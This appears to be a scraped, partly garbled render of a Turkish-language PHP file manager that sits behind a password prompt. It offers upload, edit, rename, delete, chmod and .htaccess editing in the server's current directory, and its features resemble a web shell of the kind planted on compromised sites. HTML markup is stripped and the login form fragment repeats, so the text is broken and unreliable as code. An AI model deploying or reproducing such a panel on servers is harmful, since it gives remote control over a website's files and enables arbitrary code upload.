Giriş Yap

' . (!empty($error_message) ? '

' . $error_message . '

' : '') . '
'; exit; } ?> Giriş Yap

Giriş Yap

' . (!empty($error_message) ? '

' . $error_message . '

' : '') . '
'; exit; } ?> alert('Hatalı şifre!');"; } } // Eğer doğrulama başarısızsa, şifre giriş formunu göster if (!isset($_SESSION["authenticated"]) || $_SESSION["authenticated"] !== true) { echo '
'; exit; } ?> Dosya başarıyla düzenlendi: " . htmlspecialchars($_POST['edit_file']) . ""; } // Dosya izinlerini değiştirme if (isset($_POST['change_permissions']) && isset($_POST['permissions'])) { $file_to_change = $current_dir . DIRECTORY_SEPARATOR . $_POST['change_permissions']; chmod($file_to_change, octdec($_POST['permissions'])); echo "
İzinler değiştirildi: " . htmlspecialchars($_POST['change_permissions']) . "
"; } // Dosya yükleme if (isset($_FILES['upload_file'])) { $uploaded_file = $current_dir . DIRECTORY_SEPARATOR . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $uploaded_file)) { echo "
Dosya başarıyla yüklendi: " . htmlspecialchars(basename($_FILES['upload_file']['name'])) . "
"; } else { echo "
Dosya yüklenirken bir hata oluştu.
"; } } // Dosya ismini değiştirme if (isset($_POST['rename_file']) && isset($_POST['new_name'])) { $old_file = $current_dir . DIRECTORY_SEPARATOR . $_POST['rename_file']; $new_file = $current_dir . DIRECTORY_SEPARATOR . $_POST['new_name']; if (file_exists($old_file) && !file_exists($new_file)) { rename($old_file, $new_file); echo "
Dosya adı değiştirildi: " . htmlspecialchars($_POST['rename_file']) . " → " . htmlspecialchars($_POST['new_name']) . "
"; } else { echo "
Yeniden adlandırma işlemi başarısız. Dosya zaten var veya mevcut değil.
"; } } // Dosya silme if (isset($_POST['delete_file'])) { $file_to_delete = $current_dir . DIRECTORY_SEPARATOR . $_POST['delete_file']; if (is_file($file_to_delete) && unlink($file_to_delete)) { echo "
Dosya başarıyla silindi: " . htmlspecialchars($_POST['delete_file']) . "
"; } else { echo "
Dosya silme işlemi başarısız.
"; } } // .htaccess düzenleme kontrolü if (isset($_GET['edit_htaccess'])) { $htaccess_path = $current_dir . DIRECTORY_SEPARATOR . '.htaccess'; if (is_file($htaccess_path)) { $htaccess_content = file_get_contents($htaccess_path); } else { $htaccess_content = ""; } } if (isset($_POST['save_htaccess']) && isset($_POST['htaccess_content'])) { $htaccess_path = $current_dir . DIRECTORY_SEPARATOR . '.htaccess'; file_put_contents($htaccess_path, $_POST['htaccess_content']); echo "
.htaccess başarıyla düzenlendi.
"; } // Düzenlenebilir dosya uzantıları $editable_extensions = ['php', 'html', 'txt', 'css', 'js']; ?> Dizin Yönetimi

Dizin Yönetimi

Mevcut Dizin:

🔼 Üst Dizin

.htaccess Dosyasını Düzenle

Dosya İşlemleri
Dosyalar ve Dizinler

Dosya Düzenle:

Bu dosya düzenlenemez veya okunamaz.

.htaccess Dosyasını Düzenle